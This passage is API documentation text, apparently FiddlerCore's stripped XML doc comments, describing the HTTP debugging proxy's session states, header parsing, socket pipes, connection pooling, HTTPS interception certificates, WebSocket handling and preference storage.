proxy settings. Oddly, there's no way to UrlMkGetSessionOption for the current proxy. + + String of hex suitable for display + + + + Configures the current process to use the system proxy for URLMon/WinINET traffic. + + + + + Configures the current process to use no Proxy for URLMon/WinINET traffic. + + + + + Sets the proxy for the current process to the specified list. See http://msdn.microsoft.com/en-us/library/aa383996(VS.85).aspx + + e.g. "127.0.0.1:8888" or "http=insecProxy:80;https=secProxy:444" + Semi-colon delimted list of hosts to bypass proxy; use <local> to bypass for Intranet + + + + State of the current session + + + + + Object created but nothing's happening yet + + + + + Thread is reading the HTTP Request + + + + + AutoTamperRequest pass 1 (Only used by IAutoTamper) + + + + + User can tamper using Fiddler Inspectors + + + + + AutoTamperRequest pass 2 (Only used by IAutoTamper) + + + + + Thread is sending the Request to the server + + + + + Thread is reading the HTTP Response + + + + + AutoTamperResponse pass 1 (Only used by IAutoTamper) + + + + + User can tamper using Fiddler Inspectors + + + + + AutoTamperResponse pass 2 (Only used by IAutoTamper) + + + + + Sending response to client application + + + + + Session complete + + + + + Session was aborted (client didn't want response, fatal error, etc) + + + + + This enumeration provides the values for the Session object's BitFlags field + + + + + No flags are set + + + + + The request originally arrived with a URL specifying the HTTPS protocol. + + + + + The request originally arrived with a URL specifying the FTP protocol. + + + + + RESERVED FOR FUTURE USE. Do not use. + + + + + The client pipe was reused + + + + + The server pipe was reused + + + + + The request was streamed (e.g. on an RPC_OUT_DATA request) + + + + + The response was streamed + + + + + The request was generated by Fiddler itself (e.g. the Composer tab) + + + + + The response was generated by Fiddler itself (e.g. AutoResponder or utilCreateResponseAndBypassServer) + + + + + This session was loaded from a .SAZ File + + + + + This session was loaded from some other tool + + + + + This request was sent to an upstream (CERN) gateway proxy + + + + + This is a "blind" CONNECT tunnel for HTTPS traffic + + + + + This is a CONNECT tunnel which decrypts HTTPS traffic as it flows through + + + + + This response was served from a client cache, bypassing Fiddler. Fiddler only "sees" this session because other software reported it to Fiddler + + + + + There was a HTTP Protocol violation in the client's request + + + + + There was a HTTP Protocol violation in the server's response + + + + + Response body was dropped, e.g due to fiddler.network.streaming.ForgetStreamedData + + + + + This is a CONNECT tunnel for WebSocket traffic + + + + + This request was sent using the SOCKS protocol + + + + + This class maintains the Proxy Bypass List for the upstream gateway. + In the constructor, pass the desired proxy bypass string, as retrieved from WinINET for the Fiddler Options screen. + Then, call the IsBypass(sTarget) method to determine if the Gateway should be bypassed + + + + + List of regular expressions for matching against request Scheme://HostPort. + NB: This list is either null or contains at least one item. + + + + + Boolean flag indicating whether the bypass list contained a <local> token. + + + + + Pass the desired proxy bypass string retrieved from WinINET. + + + + + + Given the rules for this bypasslist, should this target bypass the proxy? + + The URI Scheme + The Host and PORT + True if this request should not be sent to the gateway proxy + + + + Convert the string representing the bypass list into an array of rules escaped and ready to be turned into regular expressions + + + + + + Does the bypassList contain any rules at all? + + + + + Flags that indicate what problems, if any, were encountered in parsing HTTP headers + + + + + There were no problems parsing the HTTP headers + + + + + The HTTP headers ended incorrectly with \n\n + + + + + The HTTP headers ended incorrectly with \n\r\n + + + + + The HTTP headers were malformed. + + + + + The Parser class exposes static methods used to parse strings or byte arrays into HTTP messages. + + + + + Given a byte[] representing a request, determines the offsets of the components of the line. WARNING: Input MUST contain a LF or an exception will be thrown + + Byte array of the request + Returns the index of the byte of the URI in the Request line + Returns the length of the URI in the Request line + Returns the index of the first byte of the name/value header pairs + + + + Parse out HTTP Header lines. + + Header collection to update + Array of Strings + Index into array at which parsing should start + String containing any errors encountered + TRUE if there were no errors, false otherwise + + + + Given a byte array, determines the Headers length + + Input array of data + Returns the calculated length of the headers. + Returns the calculated start of the response body. + Any HTTPHeaderParseWarnings discovered during parsing. + True, if the parsing was successful. + + + + Parse the HTTP Request into a headers object. + + The HTTP Request string, including *at least the headers* with a trailing CRLFCRLF + HTTPRequestHeaders parsed from the string. + + + + Parse the HTTP Response into a headers object. + + The HTTP response as a string, including at least the headers. + HTTPResponseHeaders parsed from the string. + + + + The RASInfo class is used to enumerate Network Connectoids so Fiddler can adjust proxy configuration for all connectoids, not just the DefaultLAN + + + + + Ask RAS for the list of network connectoids. We'll always add "DefaultLAN" to this list as well. + + + + + + Abstract base class for the ClientPipe and ServerPipe classes. A Pipe represents a connection to either the client or the server, optionally encrypted using SSL/TLS. + + + + + The base socket wrapped in this pipe + + + + + The number of times that this Pipe has been used + + + + + The HTTPS stream wrapped around the base socket + + + + + The display name of this Pipe + + + + + Number of milliseconds to delay each 1024 bytes transmitted + + + + + Create a new pipe, an enhanced wrapper around a socket + + Socket which this pipe wraps + Identification string used for debugging purposes + + + + Call this method when about to reuse a socket. Currently, increments the socket's UseCount and resets its transmit delay to 0. + + The session identifier of the new session, or zero + + + + Sends a byte array through this pipe + + The bytes + + + + Sends the data specified in oBytes (between iOffset and iOffset+iCount-1 inclusive) down the pipe. + + + + + + + + Receive bytes from the pipe into the DATA buffer. + + Throws IO exceptions from the socket/stream + Array of data read + Bytes read + + + + Return the raw socket this pipe wraps. Avoid calling this method if at all possible. + + The Socket object this Pipe wraps. + + + + Shutdown and close the socket inside this pipe. Eats exceptions. + + + + + Abruptly closes the socket by sending a RST packet + + + + + Return the Connected status of the base socket + + + + + Returns a bool indicating if the socket in this Pipe is CURRENTLY connected and wrapped in a SecureStream + + + + + Returns the SSL/TLS protocol securing this connection + + + + + Return the Remote Port to which this socket is attached. + + + + + Return the Local Port to which the base socket is attached. Note: May return a misleading port if the ISA Firewall Client is in use. + + + + + Returns the remote address to which this Pipe is connected, or 0.0.0.0 on error. + + + + + Gets or sets the transmission delay on this Pipe, used for performance simulation purposes. + + + + + Summary description for frmPrompt. + + + + + Required designer variable. + + + + + GetUserString prompts the user for a string. + + Title of the dialog + The prompt text in the dialog + The default response + If true, will return null if user hits cancel. Else returns sDefault. + The user's result, or null if user cancelled and bReturnNullIfCancelled set. + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + To override default certificate handling, your class should implement this interface in an assembly + referenced by the fiddler.certmaker.assembly preference; by default, "certmaker.dll" in the application + folder is loaded + + + + + Implement ICertificateProvider2 instead + + + + + Return a certificate to secure this traffic. Generally, it's expected that this method WILL create a new certificate if needed. + + Hostname (e.g. "www.example.com") + An X509Certificate, or null on error + + + + Return the root certificate to which Host Certificates are chained. Generally, it's expected that this method will NOT create a root certificate. + + An X509Certificate, or null on error + + + + When this method is called, your extension should create a Root certificate. + + TRUE if the operation was successful + + + + When this method is called, your extension should copy the your Root certificate into + the user's (or machines's) Root certificate store. + + TRUE if the operation was successful + + + + When this method is called, your extension should discard all certificates and + clear any certificates that have been added to the user's certificate store. + + TRUE, if all certificates were removed; FALSE if any certificates were preserved + + + + When this method is called, your extension should check to see if the User or Machine Root + certificate store contains your Root certificate. + + Set to TRUE if StoreLocation.CurrentUser StoreName.Root has the certificate + Set to TRUE if StoreLocation.LocalMachine StoreName.Root has the certificate + TRUE if either bUserTrusted or bMachineTrusted + + + + When this method is called, your extension should discard all certificates and + clear any certificates that have been added to the user's certificate store + + TRUE if the root certificate should also be cleared + TRUE, if all certificates were removed; FALSE if any certificates were preserved + + + + Call this function to cache a certificate in the Certificate Provider + + The hostname to match + The certificate that the Provider should later provide when GetCertificateForHost is called + True if the request was successful + + + + File path pointing to the location of MakeCert.exe + + + + + Cache of previously-generated EE certificates. Thread safety managed by _oRWLock + + + + + Cache of previously-generated Root certificate + + + + + Reader/Writer lock gates access to the certificate cache and generation functions + + + + + Constructor: Simply cache the path to MakeCert + + + + + Find certificates that have the specified full subject. + + The store to search + FindBySubject{Distinguished}Name requires a complete match of the SUBJECT, including CN, O, and OU + Matching certificates + + + + Find certificates that have the specified issuer. + + The store to search + FindByIssuer{Distinguished}Name requires a complete match of the SUBJECT, including CN, O, and OU + Matching certificates + + + + Interface method: Clear the in-memory caches and Windows certificate stores + + TRUE to clear the Root Certificate from the cache and Windows stores + TRUE if successful + + + + Interface method: Clear the in-memory caches and Windows certificate stores + + + + + + Use MakeCert to generate a unique self-signed certificate + + TRUE if the Root certificate was generated successfully + + + + Get the root certificate from cache or storage, only if it already exists. + + + + + + Returns an Interception certificate for the specified hostname + + Hostname for the target certificate + This method uses a Reader lock when checking the cache and a Writer lock when updating the cache. + An Interception Certificate, or NULL + + + + Find a certificate from the certificate store, creating a new certificate if it was not found. + + A SubjectCN hostname, of the form www.example.com + TRUE if the cert wasn't found in the Windows Certificate store and this function attempted to create it. + No locks are acquired by this method itself. + A certificate or /null/ + + + + Find a certificate from the certificate store, if present. + + No locks are acquired by this method itself. + A certificate or /null/ + + + + Updates the Server Certificate cache under the Writer lock + + The target hostname + The certificate to cache + + + + + Creates a certificate for ServerAuth. If isRoot is set, designates that this is a self-signed root. + + Uses a reader lock when checking for the Root certificate. Uses a Writer lock when creating a certificate. + A string of the form: "www.hostname.com" + A boolean indicating if this is a request to create the root certificate + Newly-created certificate, or Null + + + + The ClientChatter object, exposed as the oRequest object on the Session object, represents a single web request. + + + + + Size of buffer passed to pipe.Receive when reading from the client + + + + + The ClientPipe object which is connected to the client, or null. + + + + + Parsed Headers + + + + + The session object which owns this ClientChatter + + + + + The host pulled from the URI, usually null except while reading/parsing the request + + + + + Buffer holds this request's data as it is read from the pipe. + + + + + Offset to first byte of body in m_requestData + + + + + Optimization: tracks how far we've previously looked when determining iEntityBodyOffset + + + + + Create a ClientChatter object initialized with a set of HTTP headers + Called primarily when loading session data from a file. + + The session object which will own this request + The string containing the request data + + + + Loads a HTTP request from a file rather than a memory stream. TODO: Why not make this public and have a responsebody version? + + The file to load + TRUE if the file existed. + + + + Based on this session's data, determine the expected Transfer-Size of the request body. See RFC2616 Section 4.4 Message Length. + Note, there's currently no support for "multipart/byteranges" requests anywhere in Fiddler. + + Expected Transfer-Size of the body, in bytes. + + + + Free Request data. Called by TakeEntity or by ReadRequest method on request failure + + + + + Extract a byte array representing the entity, put any excess bytes back in the socket, delete the requestData stream, and return the entity. + + Byte array containing the entity + + + + Send a HTTP/XXX Error Message to the Client, calling FiddlerApplication.BeforeReturningError and DoReturningError in FiddlerScript. + Note: This method does not poison either the client or server pipe, so if poisoning is desired, it's the caller's responsibility to do that. + + Response code + Response status text + Body of the HTTP Response + + + + Parse the headers from the requestData buffer. + Precondition: Call AFTER having set the correct iEntityBodyOffset. + + Note: This code used to be a lot simpler before, when it used strings instead of byte[]s. Sadly, + we've gotta use byte[]s to ensure nothing in the URI gets lost. + + TRUE if successful. Frees arrRequest if successful. + + + + This function decides if the request string represents a complete HTTP request + + + + + + Scans requestData stream for the \r\n\r\n (or variants) sequence + which indicates that the header block is complete. + + SIDE EFFECTS: + iBodySeekProgress is updated and maintained across calls to this function + iEntityBodyOffset is updated if the end of headers is found + + True, if requestData contains a full set of headers + + + + Read a complete HTTP Request from the Client. + + TRUE, if a request could be read. FALSE, otherwise. + + + + Peek at number of bytes received from the client thus far. + + + + + HTTP Headers sent in the client request, or null. + + + + + Was this request received from a reused client connection? + + + + + Note: This returns the HTTP_HOST header, which may include a trailing port #. + + + + + Simple indexer into the Request Headers object + + + + + The PipePool maintains a collection of connected ServerPipes for reuse + + + + + The Pool itself. + + + + + Time at which a "Clear before" operation was conducted. We store this + so that we don't accidentally put any pipes that were in use back into + the pool after a clear operation + + + + + Remove any pipes from Stacks if they exceed the age threshold + Remove any Stacks from pool if they are empty + + + + + Clear all pooled Pipes, calling .End() on each. + + + + + Return a string representing the Pipes in the Pool + + A string representing the pipes in the pool + + + + Get a server connection for reuse. + + The key which identifies the connection to search for. Good syntax is [HTTPS:]HOSTNAME:PORT + The ProcessID of the client requesting a Pipe + HACK to be removed; the SessionID# of the request + + + + + Store a connection for later use. + + The Pipe to place in the pool + + + + A ClientPipe wraps a socket connection to a client application. + + + + + If you previously read more bytes than you needed from this client socket, you can put some back. + + Array of bytes to put back + + + + Sets the receiveTimeout based on whether this is a freshly opened client socket or a reused one. + + + + + Returns a semicolon-delimited string describing this ClientPipe + + A semicolon-delimited string + + + + Perform a HTTPS Server handshake to the client. Swallows exception and returns false on failure. + + + + + + + This function sends the client socket a CONNECT ESTABLISHED, and then performs a HTTPS authentication + handshake, with Fiddler acting as the server. + + Hostname Fiddler is pretending to be (NO PORT!) + The set of headers to be returned to the client in response to the client's CONNECT tunneling request + true if the handshake succeeds + + + + ID of the process that opened this socket, assuming that Port Mapping is enabled, and the connection is from the local machine + + + + + Name of the Process referred to by LocalProcessID, or String.Empty if unknown + + + + + Timestamp of either 1> The underlying socket's creation from a .Accept() call, or 2> when this ClientPipe was created. + + + + + The Logger object is a simple event log + + + + + Queue of Messages that are be logged (usually during application startup) until another object has loaded and registered for notification of such Messages + + + + + Creates a Logger object + + True if a queue should be created to store messages during Fiddler's startup + + + + Flushes previously-queued messages to the newly attached listener. + + + + + Log a string with specified string formatting + + The format string + The arguments to replace in the string + + + + Log a string + + The string to log + + + + The Event to raise when a string is logged + + + + + EventArgs class for the LogEvent handler + + + + + The String which has been logged + + + + + Fiddler Transcoders allow import and export of Sessions from Fiddler + + + + + Create the FiddlerTranscoders object + + + + + List all of the Transcoder objects that are loaded + + + + + + Add Import/Export encoders to FiddlerApplication.oTranscoders + + Assembly to import exporters and importers + FALSE on obvious errors + + + + Add Import/Export encoders to FiddlerApplication.oTranscoders + + Assembly to scan for transcoders + FALSE on obvious errors + + + + Loads any assembly in the specified path that ends with .dll and does not start with "_", checks that a compatible version requirement was specified, + and adds the importer and exporters within to the collection. + + The path to scan for extensions + + + + Ensures that Import/Export Transcoders have been loaded + + + + + Returns a TranscoderTuple willing to handle the specified format + + The Format + TranscoderTuple, or null + + + + Returns a TranscoderTuple willing to handle the specified format + + The Format + TranscoderTuple, or null + + + + Gets the format list of the specified type and adds that type to the collection. + + + + TRUE if any formats were found; FALSE otherwise + + + + Clear Importer and Exporter collections + + + + + True if one or more classes implementing ISessionImporter are available. + + + + + True if one or more classes implementing ISessionImporter are available. + + + + + The WebSocket class represents a "tunnel" through a WebSocket shuffles bytes between a client and the server. + The class' messages may be deserialized from a SAZ file. + + + + + Should this WebSocket Tunnel parse the WS traffic within into individual messages? + + + + + Writes all of the messages stored in this WebSocket to a stream. + + + + + + + Read headers from the stream. + + The Stream from which WebSocketSerializationHeaders should be read + The Array of headers, or String[0] + + + + Number of bytes received from the client + + + + + Number of bytes received from the server + + + + + Creates a "detached" WebSocket which contains messages loaded from the specified stream + + Session to which the WebSocket messages belong + The Stream containing messages, which will be closed upon completion + + + + This factory method creates a new WebSocket Tunnel and executes it on a background (non-pooled) thread. + + The Session containing the HTTP CONNECT request + + + + Creates a WebSocket tunnel. External callers instead use the CreateTunnel static method. + + The session for which this tunnel was initially created. + The client pipe + The server pipe + + + + This function keeps the Tunnel/Thread alive until it is signaled that the traffic is complete + + + + + Performs cleanup of the WebSocket instance. Call this after the WebSocket closes normally or after abort/exceptions. + + + + + Executes the WebSocket tunnel on a background thread + + + + + Interface Method + Close the WebSocket and signal the event to let its service thread die. Also called by oSession.Abort() + WARNING: This should not be allowed to throw any exceptions, because it will do so on threads that don't + catch them, and this will kill the application. + + + + + When we get a buffer from the client, we push it into the memory stream + + + + + When we get a buffer from the server, we push it into the memory stream + + + + + This method parses the data in strmClientBytes to extact one or more WebSocket messages. It then sends each message + through the pipeline. + + + + This method parses the data in strmServerBytes to extact one or more WebSocket messages. It then sends each message + through the pipeline. + + + + Called when we have received data from the local client. + + The result of the asynchronous operation. + + + Called when we have received data from the remote host. Incoming data will immediately be forwarded to the local client. + The result of the asynchronous operation. + + + Called when we have sent data to the local client. + The result of the asynchronous operation. + + + Called when we have sent data to the remote host. + The result of the asynchronous operation. + + + + Is this WebSocket open/connected? + + + + + Boolean that determines whether the WebSocket tunnel tracks messages. + + + + + Returns number of bytes sent from the Server to the Client on this WebSocket + + + + + Returns number of bytes sent from the Client to the Server on this WebSocket + + + + + A WebSocketMessage stores a single frame of a single WebSocket message + http://tools.ietf.org/html/rfc6455 + + + + + Unmasks the first array into the third, using the second as a masking key. + + + + + + + + Masks the first array's data using the key in the second + + The data to be masked + A 4-byte obfuscation key, or null. + + + + Replaces the WebSocketMessage's payload with the specified string, masking if needed. + + + + + + Copies the provided byte array over the WebSocketMessage's payload, masking if needed. + + + + + + Masks the provided array (if necessary) and assigns it to the WebSocketMessage's payload. + + New array of data + + + + Return the WebSocketMessage's payload as a string. + + + + + + Copy the WebSocketMessage's payload into a new Byte Array. + + A new byte array containing the (unmasked) payload. + + + + Is this a Request message? + + + + + Was this Message eaten? + + + + + Should this message be paused for tampering? + TODO: Not yet implemented + + + + + The WebSocketTimers collection tracks the timestamps for this message + + + + + The raw payload data, which may be masked + + + + + The four-byte payload masking key, if any + + + + + The type of the WebSocket Message's frame + + + + + Timers + + + + + When was this message read from the sender + + + + + When did transmission of this message to the recipient begin + + + + + When did transmission of this message to the recipient end + + + + + Return the timers formatted to be placed in pseudo-headers used in saving the WebSocketMessage to a stream (SAZ) + + + + + + Utilities for WebSocket interop. + + + + + Servers must indicate that they speak the WebSocket protocol by echo'ing back a SHA1-hash of the + client's [Sec-WebSocket-Key] header appended with the magic value [258EAFA5-E914-47DA-95CA-C5AB0DC85B11]. + This challenge-response is provided in the server's [Sec-WebSocket-Accept] response header. + + The value of the Sec-WebSocket-Key header + A value suitable for the server's Sec-WebSocket-Accept header + + + + The MockTunnel represents a CONNECT tunnel which was reloaded from a SAZ file. + + + + + The CONFIG object is Fiddler's legacy settings object, introduced before the advent of the Preferences system. + + + + + Cached layout info for columns. + + + + + True if this is a "Viewer" instance of Fiddler that will not persist its settings + + + + + TODO: Why is this defaulted to FALSE? Has been since 2009, probably due to some bug. Should keep better records. (Sigh). + + + + + Boolean controls whether Fiddler should map inbound connections to their original process using IPHLPAPI + + + + + Boolean controls whether Fiddler should attempt to decrypt HTTPS Traffic + + + + + Boolean controls whether Fiddler will attempt to use the Server Name Indicator TLS extension to generate the SubjectCN for certificates + + + + + Returns 127.0.0.1:{ListenPort} or fiddler.network.proxy.RegistrationHostName:{ListenPort} + + + + + Use 128bit AES Encryption when password-protecting .SAZ files. Note that, while this + encryption is much stronger than the default encryption algorithm, it is significantly + slower to save and load these files, and the Windows Explorer ZIP utility cannot open them. + + + + + SSL/TLS Protocols we allow the client to choose from (when we call AuthenticateAsServer) + We allow all protocols by default (Ssl2,Ssl3,Tls1) and also 'Bitwise OR' in the constants for TLS1.1 and TLS1.2 in case we happen to be running on .NET4.5. + + + + + SSL/TLS Protocols we request the server use (when we call AuthenticateAsClient). By default, SSL3 and TLS1 are accepted; we exclude SSL2 so that TLS Extensions may be sent. + We do NOT enable TLS1.1 or TLS1.2 by default because many servers will fail if you offer them and unlike browsers, .NET has no fallback code. + + + + + Version information for the Fiddler/FiddlerCore assembly + + + + + Controls whether Fiddler will send traffic to the previously-set system proxy. + OBSOLETE. DO NOT USE. see instead. + + + + + The encoding with which HTTP Headers should be parsed. Defaults to UTF8, but may be overridden by specifying a REG_SZ containing the encoding name in the registry key \Fiddler2\HeaderEncoding + + + + + Controls whether Fiddler will reuse server connections for multiple sessions + + + + + Controls whether Fiddler will reuse client connections for multiple sessions + + + + + Controls whether Fiddler should register as the HTTPS proxy + + + + + Controls whether Fiddler should register as the FTP proxy + + + + + Controls whether Fiddler will try to write exceptions to the System Event log. Note: Usually fails due to ACLs on the Event Log. + + + + + Controls whether Fiddler will attempt to log on to the upstream proxy server to download the proxy configuration script + + + + + Controls whether Fiddler will attempt to connect to IPv6 addresses + + + + + Name of connection to which Fiddler should autoattach if MonitorAllConnections is not set + + + + + The username to send to the upstream gateway if the Version Checking webservice request requires authentication + + + + + The password to send to the upstream gateway if the Version Checking webservice request requires authentication + + + + + Set this flag if this is a "temporary" port (E.g. specified on command line) and it shouldn't be overridden in the registry + + + + + Controls whether Certificate-Generation output will be spewed to the Fiddler Log + + + + + Alternative hostname which Fiddler should recognize as an alias for the local machine. The + default value of ? will never be usable, as it's the QueryString delimiter + + + + + (Lowercase) Machine Name + + + + + (Lowercase) Machine Domain Name + + + + + List of hostnames for which HTTPS decryption (if enabled) should be skipped + + + + + True if Fiddler should be maximized on restart + + + + + Return a Special URL. + + String constant describing the URL to return. CASE-SENSITIVE! + Returns target URL + + + + Get a registry path for a named constant + + The path to retrieve [Root, UI, Dynamic, Prefs] + The registry path + + + + Return an app path, ending in "\" or a filename + + CASE-SENSITIVE + The specified filesystem path + + + + Ensure that the per-user folders used by Fiddler are present. + + + + + Control which processes have HTTPS traffic decryption enabled + + + + + Port to which Fiddler should forward inbound requests when configured to run as a Reverse Proxy + + + + + On attach, will configure WinINET to bypass Fiddler for these hosts. + + + + + Boolean indicating whether Fiddler will open the listening port exclusively + + + + + Controls whether server certificate errors are ignored when decrypting HTTPS traffic. + + + + + Controls whether notification dialogs and prompts should be shown. + + + + + The port upon which Fiddler is configured to listen. + + + + + Returns the path and filename of the editor used to edit the Rules Javascript file. + + + + + Returns true if Fiddler should permit remote connections. Requires restart. + + + + + Traffic should be sent directly to the server + + + + + Traffic should be sent to a manually-specified proxy + + + + + Traffic should be sent to the System-configured proxy + + + + + Proxy should be automatically detected + + + + + A simple Process Type enumeration used by various filtering features + + + + + Include all Processes + + + + + Processes which appear to be Web Browsers + + + + + Processes which appear to NOT be Web Browsers + + + + + Include only traffic where Process ID isn't known (e.g. remote clients) + + + + + EventArgs for preference-change events. See http://msdn.microsoft.com/en-us/library/ms229011.aspx. + + + + + The name of the preference being added, changed, or removed + + + + + The string value of the preference, or null if the preference is being removed + + + + + Returns TRUE if ValueString=="true", case-insensitively + + + + + The IFiddlerPreferences Interface is exposed by the FiddlerApplication.Prefs object, and enables + callers to Add, Update, and Remove preferences, as well as observe changes to the preferences. + + + + + Store a boolean value for a preference + + The named preference + The boolean value to store + + + + Store an Int32 value for a preference + + The named preference + The int32 value to store + + + + Store a string value for a preference + + The named preference + The string value to store + + + + Get a preference's value as a boolean + + The Preference Name + The default value for missing or invalid preferences + A Boolean + + + + Gets a preference's value as a string + + The Preference Name + The default value for missing preferences + A string + + + + Gets a preference's value as a 32-bit integer + + The Preference Name + The default value for missing or invalid preferences + An integer + + + + Removes a named preference from storage + + The name of the preference to remove + + + + Add a Watcher that will be notified when a value has changed within the specified prefix. + + The prefix of preferences for which changes are interesting + The Event handler to notify + Returns the Watcher object added to the notification list + + + + Removes a previously-created preference Watcher from the notification queue + + The Watcher to remove + + + + Indexer. Returns the value of the preference as a string + + The Preference Name + The Preference value as a string, or null + + + + The PreferenceBag is used to maintain a threadsafe Key/Value list of preferences, persisted in the registry, and with appropriate eventing when a value changes. + + + + + Load the existing preferences from the Registry into the Preferences bag. + Note: Does not fire any events. + + + + + Serialize the existing preferences to the Registry. + + + + + Get a string array of the preference names + + string[] of preference names + + + + Gets a preference's value as a string + + The Preference Name + The default value if the preference is missing + A string + + + + Return a bool preference. + + The Preference name + The default value to return if the specified preference does not exist + The boolean value of the Preference, or the default value + + + + Return an Int32 Preference. + + The Preference name + The default value to return if the specified preference does not exist + The Int32 value of the Preference, or the default value + + + + Update or create a string preference. + + The name of the Preference + The value to assign to the Preference + + + + Update or create a Int32 Preference + + The name of the Preference + The value to assign to the Preference + + + + Update or create a Boolean preference. + + The name of the Preference + The value to assign to the Preference + + + + Delete a Preference from the collection. + + The name of the Preference to be removed. + + + + Remove all Watchers + + + + + Remove all watchers and write the registry. + + + + + Return a description of the contents of the preference bag + + Multi-line string + + + + Return a string-based serialization of the Preferences settings. + + TRUE for a multi-line format with all preferences + String + + + + Returns a CRLF-delimited string containing all Preferences whose Name case-insensitively contains the specified filter string. + + Partial string to match + A string + + + + Add a watcher for changes to the specified preference or preference branch. + + Preference branch to monitor, or String.Empty to watch all + The EventHandler accepting PrefChangeEventArgs to notify + Returns the PrefWatcher object which has been added, store to pass to RemoveWatcher later. + + + + Remove a previously attached Watcher + + The previously-specified Watcher + + + + This function executes on a single background thread and notifies any registered + Watchers of changes in preferences they care about. + + A string containing the name of the Branch that changed + + + + Spawn a background thread to notify any interested Watchers of changes to the Target preference branch. + + The arguments to pass to the interested Watchers + + + + Returns a string naming the current profile + + + + + Indexer into the Preference collection. + + The name of the Preference to update/create or return. + The string value of the preference, or null. + + + + A simple struct which contains a Branch identifier and EventHandler + + + + + The HostList allows fast determination of whether a given host is in the list. It supports leading wildcards (e.g. *.foo.com), and the special tokens <local> and <loopback>. + Note: List is *not* threadsafe; instead of updating it, construct a new one. + + + + + Generate an empty HostList + + + + + Create a hostlist and assign it an initial set of sites + + List of hostnames, including leading wildcards, and optional port specifier. Special tokens are *, <local>, <nonlocal>, and <loopback>. + + + + Clear the HostList + + + + + Clear the List and assign the new string as the contents of the list. + + List of hostnames, including leading wildcards, and optional port specifier. Special tokens are *, <local>, <nonlocal>, and <loopback>. + TRUE if the list was constructed without errors + + + + Clear the list and assign the new string as the contents of the list. + + List of hostnames, including leading wildcards, and optional port specifier. Special tokens are *, <local>, <nonlocal>, and <loopback>. + Outparam string containing list of parsing errors + TRUE if the list was constructed without errors + + + + Return the current list of rules as a string + + String containing current rules, using "; " as a delimiter between entries + + + + Determine if a given Host is in the list + + A Host string, potentially including a port + TRUE if the Host's hostname matches a rule in the list + + + + Determine if a given Hostname is in the list + + A hostname, NOT including a port + TRUE if the hostname matches a rule in the list + + + + Determine if a given Host:Port pair matches an entry in the list + + A hostname, NOT including the port + The port + TRUE if the hostname matches a rule in the list + + + + This private tuple allows us to associate a Hostname and a Port + + + + + Port specified in the rule + + + + + Hostname specified in the rule + + + + + Create a new HostPortTuple + + + + + The policy which describes how this pipe may be reused by a later request. Ordered by least restrictive to most. + + + + + The ServerPipe may be freely reused by any subsequent request + + + + + The ServerPipe may be reused only by a subsequent request from the same client process + + + + + The ServerPipe may be reused only by a subsequent request from the same client pipe + + + + + The ServerPipe may not be reused for a subsequent request + + + + + A ServerPipe wraps a socket connection to a server. + + + + + User-controlled list of Certificate Serial #s for which Fiddler should not raise a warning about certificate errors + + + + + DateTime of the completion of the TCP/IP Connection + + + + + TickCount when this Pipe was last placed in a PipePool + + + + + Returns TRUE if this ServerPipe is connected to a Gateway + + + + + Returns TRUE if this ServerPipe is connected to a SOCKS gateway + + + + + The Pooling key used for reusing a previously pooled ServerPipe + + + + + This field, if set, tracks the process ID to which this Pipe is permanently bound; set by MarkAsAuthenticated. + NOTE: This isn't actually checked by anyone; instead the PID is added to the POOL Key + + + + + Backing field for the isAuthenticated property + + + + + String containing representation of the server's certificate + + + + + Wraps a socket in a Pipe + + The Socket + Pipe's human-readable name + True if the Pipe is attached to a gateway + The Pooling key used for socket reuse + + + + Marks this Pipe as having been authenticated. Depending on the preference "fiddler.network.auth.reusemode" this may impact the reuse policy for this pipe + + The client's process ID, if known. + + + + Sets the receiveTimeout based on whether this is a freshly opened server socket or a reused one. + + + + + Returns a semicolon-delimited string describing this ServerPipe + + A semicolon-delimited string + + + + Returns the Server's certificate Subject CN + + The CN field from the Subject of the certificate used to secure this HTTPS connection, or null if the connection is unsecure + + + + Return a string describing the HTTPS connection security, if this socket is secured + + A string describing the HTTPS connection's security. + + + + Returns a string describing how this connection is secured. + + + + + + Get the Transport Context for the underlying HTTPS connection so that Channel-Binding Tokens work correctly + + + + + + Get the user's default client cert for authentication; caching if if possible and permitted. + + + + + + This method is called by the HTTPS Connection establishment to optionally attach a client certificate to the request. + Test Page: https://tower.dartmouth.edu/doip/OracleDatabases.jspx https://roaming.officeapps.live.com/rs/roamingsoapservice.svc + + + + + + + + + + + This function secures an existing connection and authenticates as client. This is primarily useful when + the socket is connected to a Gateway/Proxy and we had to send a CONNECT and get a HTTP/200 Connected back before + we actually secure the socket. + http://msdn.microsoft.com/en-us/library/system.net.security.sslstream.aspx + + The CN to use in the certificate + Path to client certificate file + Key to use in the HTTPS Server connection pool + Reference-passed integer which returns the time spent securing the connection + TRUE if the connection can be secued + + + + Return a Certificate Collection containing certificate from the specified file. + + Path to the certificate. Relative Paths will be absolutified automatically + The Certificate collection, or null + + + + Policy for reuse of this pipe + + + + + Returns TRUE if there is an underlying, mutually-authenticated HTTPS stream. + + + + + Returns TRUE if this PIPE is marked as having been authenticated using a Connection-Oriented Auth protocol: NTLM, Kerberos, or HTTPS Client Certificate + + + + + Indicates if this pipe is connected to an upstream Proxy. + + + + + Indicates if this pipe is connected to a SOCKS gateway + + + + + Gets the pooling key for this server pipe + + + + + Returns the IPEndPoint to which this socket is connected + + + + + CodeDescription attributes are used to enable the FiddlerScript Editor to describe available methods, properties, fields, and events. + + + + + CodeDescription attributes should be constructed by annotating a property, method, or field. + + The descriptive string which should be displayed for this this property, method, or field + + + + The descriptive string which should be displayed for this this property, method, or field + + + + + Flags that can be passed into the Startup method + + + + + No options. + + + + + Register with WinINET as the System Proxy + + + + + Decrypt HTTPS Traffic + + + + + Accept requests from remote computers or devices + + + + + Set this flag to forward requests to any upstream gateway + + + + + Set this flag to set all WinINET connections to use Fiddler, otherwise only the Local LAN is pointed to Fiddler + + + + + Start FiddlerCore with the default set of options (RegisterAsSystemProxy | DecryptSSL | AllowRemoteClients | ChainToUpstreamGateway | MonitorAllConnections | CaptureLocalhostTraffic) + + + + + A simple event handling delegate for functions which accept no parameters. + + + + + An event handling delegate which is called during report calculation with the set of sessions being evaluated. + + The sessions in this report. + + + + An event handling delegate which is called as a part of the HTTP pipeline at various stages. + + The Web Session in the pipeline. + + + + This class acts as the central point for script/extensions to interact with Fiddler components. + + + + + TRUE if Fiddler is currently shutting down. Suspend all work that won't have side-effects. + + + + + The default certificate used for client authentication + + + + + Fiddler's "Janitor" clears up unneeded resources (e.g. server sockets, DNS entries) + + + + + Underlying Preferences container whose IFiddlerPreferences interface is exposed by the Prefs property + + + + + Gets Fiddler* version info + + A string indicating the build/flavor of the Fiddler* 